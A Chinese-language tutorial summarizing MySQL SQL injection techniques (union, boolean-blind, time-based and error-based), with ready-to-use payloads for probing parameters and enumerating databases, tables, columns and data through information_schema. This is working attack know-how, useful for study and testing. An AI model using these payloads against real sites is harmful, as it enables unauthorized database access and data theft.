前言
本文没有包含细致的原理讲解,只是简单列举基本概念、注入的大致思路和需要的注入语句,写成这样是为了方便捋顺思路,能更好的看清整个注入过程。
前置知识
information_schema数据库的三个表及其中的字段
- SCHEMATA:存储数据库名
- SCHEMA_NAME:记录数据库名的字段
- TABLES:存储数据库名、表名
- TABLE_SCHEMA:记录表对应的数据库名的字段
- TABLE_NAME:记录表名的字段
- COLUMNS:存储数据库名、表名、字段名
- TABLE_SCHEMA:记录表对应的数据库名的字段
- TABLE_NAME:记录表名的字段
- COLUMN_NAME:记录字段名的字段
几个函数
- database():当前网站使用的数据库
- version():当前Mysql的版本
- user():当前Mysql的用户
一、union注入
适用条件
查询后直接将结果数据直接显示在页面的情况,可以尝试union注入。
判断是否存在注入
尝试id=1
和id=1'
,查看结果是否相同;
尝试id=1 and 1=1
和id=1 and 1=2
,查看结果是否相同;
结果不同表示可能存在sql注入。
判断查询语句的字段数
order by
后跟的数字可以暗示查询语句中查询了几个字段。
id=1 order by 1
,
id=1 order by 2
,
id=1 order by 3
均可以执行,与id=1
结果相同。
id=1 order by 4
与id=1
结果不同,则表示查询字段有3个。
为什么要知道查询语句的字段数
在union查询中,前后两个查询语句查询的字段数必须相同。
注入语句
1. 修改id,使id=-1
id=1 union select 1,2,3
没有返回select 1,2,3
的结果。
查询语句只返回第一条结果,修改id的值,id=-1
,因为不存在该条目,所以会返回union后查询语句的结果。
2. 查看可输出位置
id=-1 union select 1,2,3
查看三个查询参数哪个位置会输出Mysql语句。
此处2,3可以输出,可任选其一。- 后续所有的查询语句都直接替换到可输出位置中,需要添加括号。
3. 查询数据库
id=-1 union select 1,database(),3
在可以输出的位置2,使用database()查询。
当前网站使用的数据库为“DBxxxl”。id=-1 union select SCHEMA_NAME from information_schema.schemata
查询information_schema库中所有的数据库名字。
4. 查询表名
- 查询语句为:
select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'
- 完整的注入语句:
id=-1 union select 1,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'),3
数据库中我们选择“Tablexxx”作为目标表。
5. 查询字段名
- 查询语句为:
select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'
- 完整的注入语句:
id=-1 union select 1,(select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'),3
选择“Columnxxx”作为目标字段。
6. 查询字段对应的数据
- 查询语句为:
select Columnxxx from DBxxx.Tablexxx
即在数据库DBxxx的Tablexxx表中查询Columnxxx字段的值。
二、Boolean注入
Boolean注入是构造sql判断语句,根据页面返回结果,来推测哪些判断条件是成立的,以此来获取数据库的数据。
适用条件
修改id后的内容,当页面不返回数据而是只返回yes或no时,无法使用union注入,可以尝试Boolean注入。
获取参数后,代码中通过preg_match过滤了“union/sleep/benchmark”等危险字符,然后才将参数拼接到sql语句进行查询。
判断是否可以进行Boolean注入
尝试id=1
和id=1'
,查看结果,第一个为yes,第二个为no。
尝试id=1' and 1=1
和id=1' and 1=2
,查看结果,结果认为yes和no。
尝试修改id的值,返回结果依旧是yes和no,由此可判断页面只返回yes和no,需要进行Boolean注入。
注入语句
1. 判断数据库名长度
id=1' and length(database())>=3 --+
"--+"是注释,语句开头有单引号,最后需要注释符号注释掉查询语句末尾的单引号。
用该语句不断尝试数据库长度,当出现' and length(database())>=4 --+
为no时,说明数据库名长度为3。
2. 逐字符判断数据库名
id=1' and substr(database(),1,1)='a' --+
其中'a'是我们猜测的数据库名的字符。
substr(var,start,step)可以截取var的字符,从start开始,每次返回step个。语句中的含义是截取database()的值,从第一个字符开始,每次只返回一个。- 与
limit0,1
不同,limit0,1
是从第0个开始,substr()是从第1个开始。 - 可以借助burpsuite的intruder功能对猜测的字符进行爆破。
字符集一般是“az,09”和特殊字符,这里字母不区分大小写。
- 与
id=1' and ord(substr(database(),1,1))=96 --+
可以使用ASCII码进行猜测,ASCII转换函数为ord()。
3. 表名及字段名查询
id=1' and length(database())>=3 --+
id=1' and substr(database(),1,1)='a' --+
将以上两个语句作为基础,将查询表名和字段名的查询(与union注入语句相同)替换‘database()'即可。以逐字符推测其他信息举例如下:- 查询所有数据库名:
- 查询语句:
select SCHEMA_NAME from information_schema.schemata
- 替换后:
id=1' and substr((select SCHEMA_NAME from information_schema.schemata),1,1)='a' --+
- 查询语句:
- 查询表名:
- 查询语句:
select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'
- 替换后:
id=1' and substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'),1,1)='a' --+
- 查询语句:
- 查询字段名:
- 查询语句:
select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'
- 替换后:
id=1' and substr((select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'),1,1)='a' --+
- 查询语句:
- 查询所有数据库名:
三、时间注入
时间注入利用sleep()和benchmark()等函数使sql查询执行时间延长,从而判断条件是否正确,推断数据库信息。
适用条件
修改id后的内容,当页面不返回数据而是只返回yes或no时,无法使用union注入,且可以使用sleep()函数使得sql查询执行时间延长,可以尝试时间注入。
与Boolean注入的区别
没有过滤"sleep"或“benchmark”字符。
注入语句
if(expr1,expr2,expr3)
若expr1为真,则返回值为expr2,否则返回expr3。类似C语言中的条件表达式a?b:c
.
-时间注入的其他流程与Boolean类似。
1. 判断数据库名长度
id=1' and if(length(database())>=3,sleep(5),1) --+
数据库长度大于等于3时,sql查询休眠5秒,否则查询1。可以使用burpsuite查看响应时间,根据查询的时间推断数据。
2. 逐字符判断数据库名
id=1' and if(substr(database(),1,1)='a' ,sleep(5),1) --+
时间注入思路与Boolean注入一样,只是判断条件改变了。
四、报错注入
利用错误回显,使用floor()、updatexml()等函数将所需信息输出到页面上。
适用条件
尝试id=1'
,多一个单引号会引发错误,页面回显错误信息,可以尝试报错注入。
注入语句
id=1' and updatexml(1,concat(0x7e,(可替换的查询语句),0x7e),1) --+
- 可替换的查询语句处与union注入相同。因为报错注入只显示一条结果,因此查询语句结尾处需要使用
limit 0,1
做限制。 - 可替换语句如下:
select database()
select user()
select SCHEMA_NAME from information_schema.schemata limit 0,1
select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx' limit 0,1
select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx' limit 0,1